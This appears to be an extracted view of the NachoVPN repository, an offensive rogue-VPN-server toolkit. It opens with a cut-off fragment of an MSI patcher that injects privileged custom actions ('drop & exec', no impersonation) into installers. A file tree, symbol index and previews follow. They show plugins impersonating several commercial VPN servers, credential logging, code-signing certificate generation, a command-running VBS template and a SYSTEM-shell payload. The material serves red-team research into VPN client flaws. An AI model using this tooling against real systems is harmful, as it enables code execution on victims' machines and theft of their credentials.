ACTION_TYPE_SHELL = 50

# https://learn.microsoft.com/en-us/windows/win32/msi/custom-action-return-processing-options
ACTION_TYPE_CONTINUE = 0x40         # Don't fail the installation if the command fails
ACTION_TYPE_ASYNC = 0x80            # Don't wait for the command to complete - only relevant for EXE commands

# https://learn.microsoft.com/en-us/windows/win32/msi/custom-action-in-script-execution-options
ACTION_TYPE_COMMIT = 0x200          # Only run once the files have been written to disk - useful for drop & exec
ACTION_TYPE_IN_SCRIPT = 0x400       # Schedule this as part of the installation process
ACTION_TYPE_NO_IMPERSONATE = 0x800  # Don't drop privs

ACTION_SEQUENCE_POSITION = 4999     # Fire the command after the files are written to disk by the installation process

def random_name(length=12):
    return ''.join(random.choice(string.ascii_letters) for _ in range(length))

def random_hash():
    return hashlib.md5(random_name().encode()).hexdigest().upper()

class MSIPatcher:
    def get_msi_version(self, msi_path):
        raise NotImplementedError

    def increment_msi_version(self, msi_path):
        raise NotImplementedError

    def add_custom_action(self, msi_path, name, type, source, target, sequence):
        raise NotImplementedError

    def add_file(self, msi_path, file_path, component_name, feature_name):
        raise NotImplementedError

class MSIPatcherWindows(MSIPatcher):
    def get_msi_version(self, msi_path):
        db = msilib.OpenDatabase(msi_path, msilib.MSIDBOPEN_READONLY)
        view = db.OpenView("SELECT Value FROM Property WHERE Property='ProductVersion'")
        view.Execute(None)
        result = view.Fetch()
        version = result.GetString(1)
        view.Close()
        db.Close()
        return version

    def set_msi_version(self, msi_path, new_version, change_product_code=True):
        db = msilib.OpenDatabase(msi_path, msilib.MSIDBOPEN_DIRECT)
        view = db.OpenView("SELECT `Value` FROM `Property` WHERE `Property` = 'ProductVersion'")
        view.Execute(None)
        record = view.Fetch()

        current_version = None

        if record:
            current_version = record.GetString(1)
            update_view = db.OpenView("UPDATE `Property` SET `Value` = ? WHERE `Property` = 'ProductVersion'")
            update_record = msilib.CreateRecord(1)
            update_record.SetString(1, new_version)
            update_view.Execute(update_record)
            update_view.Close()
            db.Commit()

            if change_product_code:
                new_product_code = '{' + str(uuid.uuid4()).upper() + '}'
                product_code_view = db.OpenView("UPDATE `Property` SET `Value` = ? WHERE `Property` = 'ProductCode'")
                product_code_record = msilib.CreateRecord(1)
                product_code_record.SetString(1, new_product_code)
                product_code_view.Execute(product_code_record)
                product_code_view.Clos
Download .txt
gitextract_izup__0x/

├── .gitattributes
├── .github/
│   └── workflows/
│       └── build-docker.yml
├── .gitignore
├── Dockerfile
├── LICENSE
├── MANIFEST.in
├── README.md
├── docker-compose.yml
├── entrypoint.sh
├── requirements.txt
├── setup.py
└── src/
    └── nachovpn/
        ├── __init__.py
        ├── core/
        │   ├── __init__.py
        │   ├── cert_manager.py
        │   ├── db_manager.py
        │   ├── ip_manager.py
        │   ├── packet_handler.py
        │   ├── plugin_manager.py
        │   ├── request_handler.py
        │   ├── smb_manager.py
        │   └── utils.py
        ├── plugins/
        │   ├── __init__.py
        │   ├── base/
        │   │   ├── __init__.py
        │   │   ├── plugin.py
        │   │   └── templates/
        │   │       └── 404.html
        │   ├── cisco/
        │   │   ├── __init__.py
        │   │   ├── files/
        │   │   │   ├── OnConnect.sh
        │   │   │   ├── OnConnect.vbs
        │   │   │   └── OnDisconnect.vbs
        │   │   ├── plugin.py
        │   │   └── templates/
        │   │       ├── login.xml
        │   │       ├── prelogin.xml
        │   │       └── profile.xml
        │   ├── delinea/
        │   │   ├── __init__.py
        │   │   ├── plugin.py
        │   │   └── templates/
        │   │       ├── GetLauncherArguments.xml
        │   │       ├── GetNextProtocolHandlerVersion.xml
        │   │       ├── GetSymmetricKey.xml
        │   │       ├── UpdateStatusV2.xml
        │   │       └── index.html
        │   ├── example/
        │   │   ├── __init__.py
        │   │   └── plugin.py
        │   ├── netskope/
        │   │   ├── __init__.py
        │   │   ├── files/
        │   │   │   └── STAgent.msi
        │   │   ├── plugin.py
        │   │   └── templates/
        │   │       └── auth.html
        │   ├── paloalto/
        │   │   ├── __init__.py
        │   │   ├── msi_downloader.py
        │   │   ├── msi_patcher.py
        │   │   ├── pkg_generator.py
        │   │   ├── plugin.py
        │   │   └── templates/
        │   │       ├── getconfig.xml
        │   │       ├── prelogin.xml
        │   │       ├── pwresponse.xml
        │   │       ├── sslvpn-login.xml
        │   │       └── sslvpn-prelogin.xml
        │   ├── pulse/
        │   │   ├── __init__.py
        │   │   ├── config_generator.py
        │   │   ├── config_parser.py
        │   │   ├── funk_parser.py
        │   │   ├── plugin.py
        │   │   └── test/
        │   │       ├── example_rules.json
        │   │       └── test_policy.py
        │   └── sonicwall/
        │       ├── __init__.py
        │       ├── files/
        │       │   └── NACAgent.c
        │       ├── plugin.py
        │       └── templates/
        │           ├── launchextender.html
        │           ├── launchplatform.html
        │           ├── logout.html
        │           ├── welcome.html
        │           └── wxacneg.html
        └── server.py
Download .txt
SYMBOL INDEX (290 symbols across 25 files)

FILE: src/nachovpn/core/cert_manager.py
  class CertManager (line 16) | class CertManager:
    method __init__ (line 17) | def __init__(self, cert_dir=os.path.join(os.getcwd(), 'certs'), ca_com...
    method setup (line 25) | def setup(self):
    method create_ssl_context (line 35) | def create_ssl_context(self):
    method load_ip_certificate (line 73) | def load_ip_certificate(self):
    method load_dns_certificate (line 88) | def load_dns_certificate(self):
    method load_ca_certificate (line 102) | def load_ca_certificate(self):
    method cert_is_valid (line 115) | def cert_is_valid(self, cert_path, common_name):
    method get_thumbprint_from_server (line 170) | def get_thumbprint_from_server(self, server_address):
    method get_cert_thumbprint (line 184) | def get_cert_thumbprint(self, cert_path):
    method generate_server_certificate (line 199) | def generate_server_certificate(self, cert_path, key_path, common_name...
    method generate_ca_certificate (line 277) | def generate_ca_certificate(self):
    method generate_codesign_certificate (line 340) | def generate_codesign_certificate(self, common_name, pfx_path=None, ce...
    method generate_apple_certificate (line 433) | def generate_apple_certificate(self, common_name="Developer ID Install...

FILE: src/nachovpn/core/db_manager.py
  class DBManager (line 7) | class DBManager:
    method __init__ (line 8) | def __init__(self, db_path='database.db'):
    method setup_database (line 14) | def setup_database(self):
    method log_credentials (line 36) | def log_credentials(self, username, password, plugin_name, other_data=...
    method close (line 49) | def close(self):

FILE: src/nachovpn/core/ip_manager.py
  class IPPool (line 7) | class IPPool:
    method __init__ (line 9) | def __init__(self, cidr: str = VPN_SUBNET):
    method alloc (line 20) | def alloc(self) -> str:
    method touch (line 31) | def touch(self, ip: str):
    method release (line 37) | def release(self, ip: str):

FILE: src/nachovpn/core/packet_handler.py
  class ClientInfo (line 35) | class ClientInfo:
  class PacketHandler (line 43) | class PacketHandler:
    method __init__ (line 47) | def __init__(self, write_pcap=False, pcap_filename=None):
    method _setup_nftables (line 81) | def _setup_nftables(self):
    method _setup_tun_interface (line 337) | async def _setup_tun_interface(self):
    method _setup_tun_fd (line 385) | def _setup_tun_fd(self) -> None:
    method _on_tun_ready (line 411) | def _on_tun_ready(self):
    method _lease_cleanup (line 446) | async def _lease_cleanup(self):
    method _reclaim_client (line 464) | async def _reclaim_client(self, ip_address):
    method _send_all_blocking (line 485) | def _send_all_blocking(self, sock, data):
    method _send_packets (line 495) | async def _send_packets(self, connection_id, queue):
    method register_client (line 551) | def register_client(self, connection_id, sock, wrapper_callback):
    method destroy_session (line 584) | def destroy_session(self, connection_id):
    method _handle_reply_packet (line 611) | async def _handle_reply_packet(self, packet_data, dest_ip):
    method handle_client_packet (line 647) | def handle_client_packet(self, packet_data, connection_id):
    method append_to_pcap (line 694) | def append_to_pcap(self, packet):
    method close (line 703) | async def close(self):
    method create_session (line 776) | def create_session(self, sock, wrapper_callback):
    method get_assigned_ip (line 782) | def get_assigned_ip(self, connection_id):
    method assign_socket (line 786) | def assign_socket(self, connection_id, sock):
    method start (line 796) | async def start(self):

FILE: src/nachovpn/core/plugin_manager.py
  class PluginManager (line 6) | class PluginManager:
    method __init__ (line 7) | def __init__(self, loop=None):
    method register_plugin (line 11) | def register_plugin(self, plugin_class, **kwargs):
    method handle_data (line 20) | def handle_data(self, data, client_socket, client_ip):
    method handle_http (line 31) | def handle_http(self, handler):

FILE: src/nachovpn/core/request_handler.py
  class VPNStreamRequestHandler (line 5) | class VPNStreamRequestHandler(BaseHTTPRequestHandler):
    method __init__ (line 6) | def __init__(self, request, client_address, server):
    method send_header (line 10) | def send_header(self, keyword, value):
    method handle (line 15) | def handle(self):
    method log_message (line 44) | def log_message(self, format, *args):

FILE: src/nachovpn/core/smb_manager.py
  class SMBManager (line 12) | class SMBManager:
    method __init__ (line 13) | def __init__(self):
    method auth_callback (line 20) | def auth_callback(self, *args, **kwargs):
    method _setup_smb_server (line 25) | def _setup_smb_server(self):

FILE: src/nachovpn/core/utils.py
  class PacketHandler (line 7) | class PacketHandler:
    method __init__ (line 12) | def __init__(self, write_pcap=False, pcap_filename=None, logger_name="...
    method get_free_nat_port (line 19) | def get_free_nat_port(self):
    method forward_tcp_packet (line 22) | def forward_tcp_packet(self, packet_data):
    method packet_sniffer (line 49) | def packet_sniffer(self):
    method handle_client_packet (line 64) | def handle_client_packet(self, packet_data):
    method append_to_pcap (line 69) | def append_to_pcap(self, packet):

FILE: src/nachovpn/plugins/base/plugin.py
  class VPNPlugin (line 6) | class VPNPlugin:
    method __init__ (line 7) | def __init__(self, cert_manager=None, external_ip=None, dns_name=None,...
    method is_enabled (line 28) | def is_enabled(self):
    method get_thumbprint (line 31) | def get_thumbprint(self):
    method _setup_routes (line 40) | def _setup_routes(self):
    method _send_flask_response (line 50) | def _send_flask_response(self, response, handler):
    method handle_get (line 58) | def handle_get(self, handler):
    method handle_post (line 64) | def handle_post(self, handler):
    method render_template (line 74) | def render_template(self, template_name, **context):
    method can_handle_data (line 81) | def can_handle_data(self, data, client_socket, client_ip):
    method can_handle_http (line 85) | def can_handle_http(self, handler):
    method handle_data (line 89) | def handle_data(self, data, client_socket, client_ip):
    method handle_http (line 92) | def handle_http(self, handler):
    method log_credentials (line 99) | def log_credentials(self, username, password, other_data=None):
    method _wrap_packet (line 109) | def _wrap_packet(self, packet_data, client):

FILE: src/nachovpn/plugins/cisco/plugin.py
  class CTSP (line 11) | class CTSP:
    class Constants (line 12) | class Constants:
    class PacketType (line 16) | class PacketType:
    method __init__ (line 25) | def __init__(self, socket, packet_handler=None, connection_id=None):
    method create_packet (line 31) | def create_packet(packet_type, data=b''):
    method send_dpd_resp (line 40) | def send_dpd_resp(self, req_data):
    method send_keepalive (line 47) | def send_keepalive(self):
    method parse (line 53) | def parse(self, data):
  class CiscoPlugin (line 101) | class CiscoPlugin(VPNPlugin):
    method __init__ (line 102) | def __init__(self, *args, **kwargs):
    method shasum (line 110) | def shasum(self, data):
    method handle_http (line 115) | def handle_http(self, handler):
    method render_file (line 126) | def render_file(self, filename, context):
    method _setup_routes (line 131) | def _setup_routes(self):
    method handle_head (line 215) | def handle_head(self, handler):
    method handle_connect (line 218) | def handle_connect(self, handler):
    method _wrap_packet (line 292) | def _wrap_packet(self, packet_data, client):
    method can_handle_data (line 295) | def can_handle_data(self, data, client_socket, client_ip):
    method can_handle_http (line 298) | def can_handle_http(self, handler):
    method handle_data (line 304) | def handle_data(self, data, client_socket, client_ip):

FILE: src/nachovpn/plugins/delinea/plugin.py
  class DelineaPlugin (line 53) | class DelineaPlugin(VPNPlugin):
    method __init__ (line 54) | def __init__(self, *args, **kwargs):
    method _generate_aes_keys (line 61) | def _generate_aes_keys(self):
    method _aes_encrypt (line 67) | def _aes_encrypt(self, data, key, iv):
    method _decode_rsa_public_key (line 79) | def _decode_rsa_public_key(self, public_key_blob):
    method _rsa_encrypt (line 153) | def _rsa_encrypt(self, data, public_key):
    method _setup_routes (line 169) | def _setup_routes(self):
    method handle_http (line 322) | def handle_http(self, handler):
    method can_handle_http (line 329) | def can_handle_http(self, handler):

FILE: src/nachovpn/plugins/example/plugin.py
  class ExamplePlugin (line 5) | class ExamplePlugin(VPNPlugin):
    method _setup_routes (line 6) | def _setup_routes(self):
    method can_handle_http (line 15) | def can_handle_http(self, handler):
    method can_handle_data (line 18) | def can_handle_data(self, data, client_socket, client_ip):
    method handle_data (line 22) | def handle_data(self, data, client_socket, client_ip):

FILE: src/nachovpn/plugins/netskope/plugin.py
  class NetskopePlugin (line 25) | class NetskopePlugin(VPNPlugin):
    method __init__ (line 26) | def __init__(self, *args, **kwargs):
    method random_string (line 80) | def random_string(self, length=20):
    method random_int (line 83) | def random_int(self, min=1, max=10000):
    method random_hash (line 86) | def random_hash(self, algorithm="md5"):
    method sign_msi_files (line 91) | def sign_msi_files(self):
    method verify_msi_files (line 130) | def verify_msi_files(self):
    method patch_msi_files (line 153) | def patch_msi_files(self):
    method get_org_cert (line 201) | def get_org_cert(self):
    method get_ca_cert (line 204) | def get_ca_cert(self):
    method get_user_cert (line 208) | def get_user_cert(self):
    method bootstrap (line 277) | def bootstrap(self):
    method can_handle_http (line 298) | def can_handle_http(self, handler):
    method timestamp (line 305) | def timestamp(self):
    method request_id (line 308) | def request_id(self):
    method version_hex (line 311) | def version_hex(self):
    method _setup_routes (line 314) | def _setup_routes(self):

FILE: src/nachovpn/plugins/paloalto/msi_downloader.py
  class MSIDownloader (line 7) | class MSIDownloader:
    method __init__ (line 8) | def __init__(self, output_dir):
    method get_latest_versions (line 14) | def get_latest_versions(self):
    method download_file (line 30) | def download_file(self, url, output_path):
    method download_latest_msi (line 53) | def download_latest_msi(self):

FILE: src/nachovpn/plugins/paloalto/msi_patcher.py
  function random_name (line 35) | def random_name(length=12):
  function random_hash (line 38) | def random_hash():
  class MSIPatcher (line 41) | class MSIPatcher:
    method get_msi_version (line 42) | def get_msi_version(self, msi_path):
    method increment_msi_version (line 45) | def increment_msi_version(self, msi_path):
    method add_custom_action (line 48) | def add_custom_action(self, msi_path, name, type, source, target, sequ...
    method add_file (line 51) | def add_file(self, msi_path, file_path, component_name, feature_name):
  class MSIPatcherWindows (line 54) | class MSIPatcherWindows(MSIPatcher):
    method get_msi_version (line 55) | def get_msi_version(self, msi_path):
    method set_msi_version (line 65) | def set_msi_version(self, msi_path, new_version, change_product_code=T...
    method increment_msi_version (line 100) | def increment_msi_version(self, msi_path, change_product_code=True):
    method add_custom_action (line 109) | def add_custom_action(self, msi_path, name, type, source, target, sequ...
    method add_file (line 151) | def add_file(self, msi_path, file_path, component_name, feature_name):
    method create_cab_file (line 278) | def create_cab_file(file_path, file_key, output_path):
  class MSIPatcherLinux (line 286) | class MSIPatcherLinux(MSIPatcher):
    method get_msi_version (line 287) | def get_msi_version(self, msi_path):
    method increment_msi_version (line 298) | def increment_msi_version(self, msi_path, change_product_code=True):
    method set_msi_version (line 307) | def set_msi_version(self, msi_path, new_version, change_product_code=T...
    method add_custom_property (line 338) | def add_custom_property(self, msi_path, name, value):
    method add_custom_action (line 351) | def add_custom_action(self, msi_path, name, type, source, target, sequ...
    method add_file (line 391) | def add_file(self, msi_path, file_path, component_name, feature_name):
    method create_cab_file (line 489) | def create_cab_file(file_path, file_key, output_path):
  function get_msi_patcher (line 497) | def get_msi_patcher():

FILE: src/nachovpn/plugins/paloalto/pkg_generator.py
  function build_signature_toc (line 82) | def build_signature_toc(certificates, signature_length):
  function extract_cert_base64 (line 91) | def extract_cert_base64(cert_file):
  function get_signature (line 101) | def get_signature(key_file, data):
  function random_string (line 110) | def random_string(length=12):
  function generate_pkg (line 113) | def generate_pkg(version, command, package_name, cert_file=None, key_fil...

FILE: src/nachovpn/plugins/paloalto/plugin.py
  class PaloAltoPlugin (line 23) | class PaloAltoPlugin(VPNPlugin):
    method __init__ (line 24) | def __init__(self, *args, **kwargs):
    method generate_unique_suffix (line 66) | def generate_unique_suffix(self):
    method generate_pkg (line 74) | def generate_pkg(self):
    method get_higher_version (line 88) | def get_higher_version(self, version):
    method get_latest_msi_version (line 100) | def get_latest_msi_version(self):
    method sign_msi_files (line 113) | def sign_msi_files(self):
    method verify_msi_files (line 153) | def verify_msi_files(self):
    method patch_msi_files (line 176) | def patch_msi_files(self):
    method bootstrap (line 223) | def bootstrap(self):
    method close (line 274) | def close(self):
    method can_handle_data (line 277) | def can_handle_data(self, data, client_socket, client_ip):
    method can_handle_http (line 280) | def can_handle_http(self, handler):
    method generate_auth_cookie (line 287) | def generate_auth_cookie(self, connection_id):
    method decode_auth_cookie (line 290) | def decode_auth_cookie(self, auth_cookie):
    method extract_auth_cookie (line 293) | def extract_auth_cookie(self, handler):
    method handle_http (line 298) | def handle_http(self, handler):
    method _setup_routes (line 321) | def _setup_routes(self):
    method _wrap_packet (line 480) | def _wrap_packet(self, packet_data, client):
    method handle_data (line 504) | def handle_data(self, data, client_socket, client_ip, connection_id=No...
    method process_tcp_message (line 528) | def process_tcp_message(self, client_socket, data, client_ip, connecti...
    method should_downgrade (line 564) | def should_downgrade(self, user_agent):

FILE: src/nachovpn/plugins/pulse/config_generator.py
  class ESPConfigGenerator (line 50) | class ESPConfigGenerator:
    method create_config (line 51) | def create_config(self):
  class VPNConfigGenerator (line 66) | class VPNConfigGenerator:
    method __init__ (line 67) | def __init__(self, logon_script="C:\\Windows\\System32\\calc.exe", log...
    method hexdump (line 75) | def hexdump(data, length=16):
    method int_to_ipv4 (line 96) | def int_to_ipv4(addr):
    method ipv4_to_int (line 100) | def ipv4_to_int(ipv4):
    method write_le32 (line 104) | def write_le32(value):
    method write_be32 (line 108) | def write_be32(value):
    method write_be16 (line 112) | def write_be16(value):
    method ip_to_bytes (line 116) | def ip_to_bytes(ip):
    method subnet_mask_to_bytes (line 120) | def subnet_mask_to_bytes(subnet_mask):
    method create_routes (line 124) | def create_routes(self):
    method create_config (line 149) | def create_config(self):
    method create_attribute (line 257) | def create_attribute(attr_type, data):
  function main (line 260) | def main():

FILE: src/nachovpn/plugins/pulse/config_parser.py
  function load_be32 (line 36) | def load_be32(data):
  function load_be16 (line 39) | def load_be16(data):
  function load_le32 (line 42) | def load_le32(data):
  function load_le16 (line 45) | def load_le16(data):
  class Attribute (line 48) | class Attribute:
    method __init__ (line 49) | def __init__(self, attr_type, attr_len, data):
    method to_dict (line 54) | def to_dict(self):
  class PulseConfig (line 57) | class PulseConfig:
    method __init__ (line 58) | def __init__(self, data):
    method process_attr (line 64) | def process_attr(self, attr_type, data, attr_len):
    method handle_attr_elements (line 149) | def handle_attr_elements(self, data, attr_len, attrs):
    method parse (line 181) | def parse(self):

FILE: src/nachovpn/plugins/pulse/funk_parser.py
  class FunkManager (line 15) | class FunkManager:
    method __init__ (line 16) | def __init__(self):
    method base64_encode (line 20) | def base64_encode(value):
    method remediation_command (line 24) | def remediation_command(policy_id='vc0|43|policy_2|1|woot'):
    method registry_command (line 74) | def registry_command(rules=None, server_time=False, policy_id='vc0|43|...
    method parse (line 143) | def parse(data):
    method pad (line 151) | def pad(data):
    method generate (line 159) | def generate(commands):
    method _parse_commands (line 176) | def _parse_commands(data):
    method _commands_to_dict (line 222) | def _commands_to_dict(commands):
    method _serialize_commands (line 290) | def _serialize_commands(commands):

FILE: src/nachovpn/plugins/pulse/plugin.py
  class IFTPacket (line 61) | class IFTPacket:
    method __init__ (line 62) | def __init__(self, vendor_id=None, message_type=None, message_identifi...
    method __str__ (line 69) | def __str__(self):
    method to_bytes (line 74) | def to_bytes(self):
    method from_bytes (line 84) | def from_bytes(cls, data):
    method from_io (line 91) | def from_io(cls, reader):
  class EAPPacket (line 102) | class EAPPacket:
    method __init__ (line 103) | def __init__(self, vendor=None, code=None, identifier=None, eap_data=b...
    method __str__ (line 110) | def __str__(self):
    method to_bytes (line 114) | def to_bytes(self):
    method from_bytes (line 123) | def from_bytes(cls, data):
  class AVP (line 132) | class AVP:
    method __init__ (line 133) | def __init__(self, code, flags=0, vendor=None, value=bytearray()):
    method padding_required (line 141) | def padding_required(self):
    method from_bytes (line 147) | def from_bytes(cls, data):
    method to_bytes (line 166) | def to_bytes(self, include_padding=False):
    method __str__ (line 179) | def __str__(self):
  class PulseSecurePlugin (line 187) | class PulseSecurePlugin(VPNPlugin):
    method validate_rules (line 192) | def validate_rules(rules):
    method __init__ (line 223) | def __init__(self, *args, **kwargs):
    method close (line 259) | def close(self):
    method can_handle_data (line 262) | def can_handle_data(self, data, client_socket, client_ip):
    method can_handle_http (line 267) | def can_handle_http(self, handler):
    method handle_http (line 275) | def handle_http(self, handler):
    method has_credentials (line 280) | def has_credentials(self, data):
    method extract_credentials (line 294) | def extract_credentials(self, data):
    method handle_get (line 333) | def handle_get(self, handler):
    method next_eap_identifier (line 365) | def next_eap_identifier(self):
    method is_policy_request (line 371) | def is_policy_request(self, data):
    method is_policy_type (line 376) | def is_policy_type(self, data):
    method expanded_juniper_subtype (line 401) | def expanded_juniper_subtype(self, data):
    method is_funk_message (line 407) | def is_funk_message(self, data):
    method is_client_info (line 418) | def is_client_info(self, data):
    method auth_completed (line 451) | def auth_completed(self, data):
    method parse_eap_packet (line 459) | def parse_eap_packet(self, data, client_socket, connection_id):
    method _wrap_packet (line 845) | def _wrap_packet(self, packet_data, client):
    method handle_data (line 856) | def handle_data(self, data, client_socket, client_ip):
    method process (line 915) | def process(self, data, client_socket, connection_id):

FILE: src/nachovpn/plugins/pulse/test/test_policy.py
  function hexdump (line 12) | def hexdump(data: bytes):
  function build_remediation_packet (line 24) | def build_remediation_packet():
  function build_policy (line 63) | def build_policy():
  function compare (line 102) | def compare(file_1, file_2):
  function build_remediation (line 127) | def build_remediation():
  function generate_example_files (line 131) | def generate_example_files():

FILE: src/nachovpn/plugins/sonicwall/files/NACAgent.c
  function DWORD (line 10) | DWORD FindProcessId(const wchar_t* processName) {
  function PopSystemShell (line 37) | bool PopSystemShell() {
  function main (line 114) | int main() {

FILE: src/nachovpn/plugins/sonicwall/plugin.py
  class SonicWallPlugin (line 20) | class SonicWallPlugin(VPNPlugin):
    method __init__ (line 21) | def __init__(self, *args, **kwargs):
    method can_handle_data (line 29) | def can_handle_data(self, data, client_socket, client_ip):
    method can_handle_http (line 33) | def can_handle_http(self, handler):
    method random_swap (line 42) | def random_swap(self):
    method _setup_routes (line 45) | def _setup_routes(self):
    method compile_payload (line 171) | def compile_payload(self):
    method verify_payload (line 185) | def verify_payload(self):
    method setup_payload (line 207) | def setup_payload(self):

FILE: src/nachovpn/server.py
  class ThreadedVPNServer (line 25) | class ThreadedVPNServer(socketserver.ThreadingTCPServer):
    method __init__ (line 26) | def __init__(self, server_address, RequestHandlerClass, cert_manager, ...
  class VPNServer (line 33) | class VPNServer:
    method __init__ (line 34) | def __init__(self, host='0.0.0.0', port=443, tls=True, cert_dir=os.pat...
    method _start_packet_handler (line 78) | def _start_packet_handler(self):
    method _stop_packet_handler (line 89) | def _stop_packet_handler(self):
    method run (line 95) | def run(self):
  function main (line 111) | def main():
Condensed preview — 72 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (447K chars).
[
  {
    "path": ".gitattributes",
    "chars": 28,
    "preview": "* text=auto\n*.sh text eol=lf"
  },
  {
    "path": ".github/workflows/build-docker.yml",
    "chars": 1282,
    "preview": "name: Docker Build\r\n\r\non:\r\n  push:\r\n    branches: ['release']\r\n\r\nenv:\r\n  REGISTRY: ghcr.io\r\n  IMAGE_NAME: ${{ github.rep"
  },
  {
    "path": ".gitignore",
    "chars": 704,
    "preview": "# Ignore virtual environment directories\nenv/\nvenv/\n\n# Ignore environment files\n.env\n\n# Ignore compiled Python files\n*.p"
  },
  {
    "path": "Dockerfile",
    "chars": 817,
    "preview": "FROM ubuntu:jammy\r\nWORKDIR /app\r\n\r\nENV PYTHONDONTWRITEBYTECODE=1\r\nENV PYTHONUNBUFFERED=1\r\n\r\nRUN apt-get update && apt-ge"
  },
  {
    "path": "LICENSE",
    "chars": 1070,
    "preview": "MIT License\n\nCopyright (c) 2024 AmberWolf Ltd.\n\nPermission is hereby granted, free of charge, to any person obtaining a "
  },
  {
    "path": "MANIFEST.in",
    "chars": 104,
    "preview": "recursive-include src/nachovpn/plugins **/templates/*\r\nrecursive-include src/nachovpn/plugins **/files/*"
  },
  {
    "path": "README.md",
    "chars": 14076,
    "preview": "# NachoVPN 🌮🔒\n\n<p align=\"center\">\n    <img src=\"logo.png\">\n</p>\n\n<p align=\"center\">\n    <a href=\"LICENSE\" alt=\"License: "
  },
  {
    "path": "docker-compose.yml",
    "chars": 511,
    "preview": "services:\n  nachovpn:\n    container_name: nachovpn\n    build:\n      context: .\n      dockerfile: Dockerfile\n    restart:"
  },
  {
    "path": "entrypoint.sh",
    "chars": 1809,
    "preview": "#!/bin/bash\n\n#if [[ -z \"${SERVER_FQDN}\" ]]; then\n#  echo \"Error: SERVER_FQDN is not set or is empty\"\n#  exit 1\n#fi\n\n#if "
  },
  {
    "path": "requirements.txt",
    "chars": 371,
    "preview": "blinker==1.7.0\ncertifi>=2024.2.2\ncffi==1.16.0\ncharset-normalizer==3.3.2\nclick==8.1.7\ncolorama==0.4.6\ncryptography==42.0."
  },
  {
    "path": "setup.py",
    "chars": 674,
    "preview": "from setuptools import setup, find_packages\n\nsetup(\n    name=\"nachovpn\",\n    version=\"1.0.0\",\n    package_dir={\"\": \"src\""
  },
  {
    "path": "src/nachovpn/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "src/nachovpn/core/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "src/nachovpn/core/cert_manager.py",
    "chars": 21060,
    "preview": "from cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID, ObjectIdentifier\nfrom cryp"
  },
  {
    "path": "src/nachovpn/core/db_manager.py",
    "chars": 1844,
    "preview": "from datetime import datetime\nimport sqlite3\nimport logging\nimport json\nimport threading\n\nclass DBManager:\n    def __ini"
  },
  {
    "path": "src/nachovpn/core/ip_manager.py",
    "chars": 1318,
    "preview": "from __future__ import annotations\nimport ipaddress, itertools, threading, time, os\n\nLEASE_SECS = int(os.getenv(\"LEASE_S"
  },
  {
    "path": "src/nachovpn/core/packet_handler.py",
    "chars": 35461,
    "preview": "from pyroute2 import AsyncIPRoute\nfrom dataclasses import dataclass, field\nfrom nachovpn.core.ip_manager import IPPool\nf"
  },
  {
    "path": "src/nachovpn/core/plugin_manager.py",
    "chars": 1677,
    "preview": "import logging\nimport traceback\nimport os\nimport asyncio\n\nclass PluginManager:\n    def __init__(self, loop=None):\n      "
  },
  {
    "path": "src/nachovpn/core/request_handler.py",
    "chars": 2083,
    "preview": "from http.server import BaseHTTPRequestHandler\nimport logging\nimport os\n\nclass VPNStreamRequestHandler(BaseHTTPRequestHa"
  },
  {
    "path": "src/nachovpn/core/smb_manager.py",
    "chars": 1711,
    "preview": "from impacket.smbserver import SimpleSMBServer\nimport os\nimport stat\nimport logging\nimport threading\n\n# SMB configuratio"
  },
  {
    "path": "src/nachovpn/core/utils.py",
    "chars": 3109,
    "preview": "from scapy.all import IP, IPv6, ARP, UDP, TCP, Ether, rdpcap, wrpcap, \\\n    srp, sendp, conf, get_if_addr, get_if_hwaddr"
  },
  {
    "path": "src/nachovpn/plugins/__init__.py",
    "chars": 647,
    "preview": "from nachovpn.plugins.base.plugin import VPNPlugin\nfrom nachovpn.plugins.paloalto.plugin import PaloAltoPlugin\nfrom nach"
  },
  {
    "path": "src/nachovpn/plugins/base/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "src/nachovpn/plugins/base/plugin.py",
    "chars": 4386,
    "preview": "from flask import Flask, jsonify\nfrom jinja2 import Environment, FileSystemLoader\nimport logging\nimport os\n\nclass VPNPlu"
  },
  {
    "path": "src/nachovpn/plugins/base/templates/404.html",
    "chars": 546,
    "preview": "\n<html>\n<head><title>404 Not Found</title></head>\n<body bgcolor=\"white\">\n<center><h1>404 Not Found</h1></center>\n<hr><ce"
  },
  {
    "path": "src/nachovpn/plugins/cisco/__init__.py",
    "chars": 64,
    "preview": "from .plugin import CiscoPlugin\n\n__all__ = [\n    'CiscoPlugin'\n]"
  },
  {
    "path": "src/nachovpn/plugins/cisco/files/OnConnect.sh",
    "chars": 37,
    "preview": "#!/bin/bash\n{{ cisco_command_macos }}"
  },
  {
    "path": "src/nachovpn/plugins/cisco/files/OnConnect.vbs",
    "chars": 92,
    "preview": "Set oShell = CreateObject(\"WScript.Shell\")\noShell.run \"%comspec% /c {{ cisco_command_win }}\""
  },
  {
    "path": "src/nachovpn/plugins/cisco/files/OnDisconnect.vbs",
    "chars": 18,
    "preview": "' OnDisconnect.vbs"
  },
  {
    "path": "src/nachovpn/plugins/cisco/plugin.py",
    "chars": 13274,
    "preview": "from nachovpn.plugins import VPNPlugin\nfrom flask import Response, abort, request\nfrom jinja2 import Template\n\nimport lo"
  },
  {
    "path": "src/nachovpn/plugins/cisco/templates/login.xml",
    "chars": 6784,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<config-auth client=\"vpn\" type=\"complete\" aggregate-auth-version=\"2\">\n<session-id"
  },
  {
    "path": "src/nachovpn/plugins/cisco/templates/prelogin.xml",
    "chars": 669,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<config-auth client=\"vpn\" type=\"auth-request\" aggregate-auth-version=\"2\">\n<opaque"
  },
  {
    "path": "src/nachovpn/plugins/cisco/templates/profile.xml",
    "chars": 2768,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<AnyConnectProfile xmlns=\"http://schemas.xmlsoap.org/encoding/\" xmlns:xsi=\"http:/"
  },
  {
    "path": "src/nachovpn/plugins/delinea/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "src/nachovpn/plugins/delinea/plugin.py",
    "chars": 14264,
    "preview": "from nachovpn.plugins import VPNPlugin\nfrom flask import request, abort, Response\nfrom cryptography.hazmat.primitives.ci"
  },
  {
    "path": "src/nachovpn/plugins/delinea/templates/GetLauncherArguments.xml",
    "chars": 302,
